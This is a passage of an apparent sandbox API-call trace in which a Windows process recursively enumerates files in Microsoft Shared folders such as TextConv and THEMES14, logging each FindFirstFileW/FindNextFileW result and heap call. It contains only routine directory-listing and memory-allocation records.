ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0219.885] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.886] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0219.886] GetProcessHeap () returned 0x560000 [0219.886] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0219.886] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0219.886] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.886] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.887] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0219.887] GetProcessHeap () returned 0x560000 [0219.887] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0219.887] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0219.887] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0219.888] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0219.888] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0219.888] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0219.888] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0219.888] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0219.889] GetProcessHeap () returned 0x560000 [0219.889] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b99a60 | out: hHeap=0x560000) returned 1 [0219.889] FindNextFileW (in: hFindFile=0x593f80, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0219.889] GetProcessHeap () returned 0x560000 [0219.889] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2b99a60 [0219.889] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0220.201] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.205] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0220.205] GetProcessHeap () returned 0x560000 [0220.206] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.206] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.490] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.490] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1 [0220.490] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1 [0220.491] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.491] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.491] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x6292, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.491] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.491] GetProcessHeap () returned 0x560000 [0220.492] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.492] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0220.492] GetProcessHeap () returned 0x560000 [0220.492] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.492] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.495] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.495] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc081900, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdc081900, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10fc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.ELM", cAlternateFileName="")) returned 1 [0220.495] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5146e3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC.INF", cAlternateFileName="")) returned 1 [0220.495] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xba9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.495] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.496] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a79b700, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8a79b700, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x4d44, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.496] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.496] GetProcessHeap () returned 0x560000 [0220.496] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.496] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0220.496] GetProcessHeap () returned 0x560000 [0220.496] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.498] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.499] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0220.499] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5f409670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x211, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.INF", cAlternateFileName="")) returned 1 [0220.499] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0xb20, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0220.499] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0220.499] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8baae400, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8baae400, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x8864, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0220.500] FindClose (in: hFindFile=0x65bc88 | out: hFindFile=0x65bc88) returned 1 [0220.514] GetProcessHeap () returned 0x560000 [0220.515] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0220.515] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0220.515] GetProcessHeap () returned 0x560000 [0220.515] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0220.515] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc88 [0220.517] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0220.517] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0220.517] FindNextFileW (in: hFindFile=0x65bc88, lpFindFileData=0x2ffec38 | out: lpFindFileData=0x2ffec38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb59ad00, ftCreationTime.dwHighDateTime=0x1c4d794, ftLastAccessTime.dwLowDateTime=0x5f729350, ftLastAccessTime.dwHighDateTime=0x1d301bf, 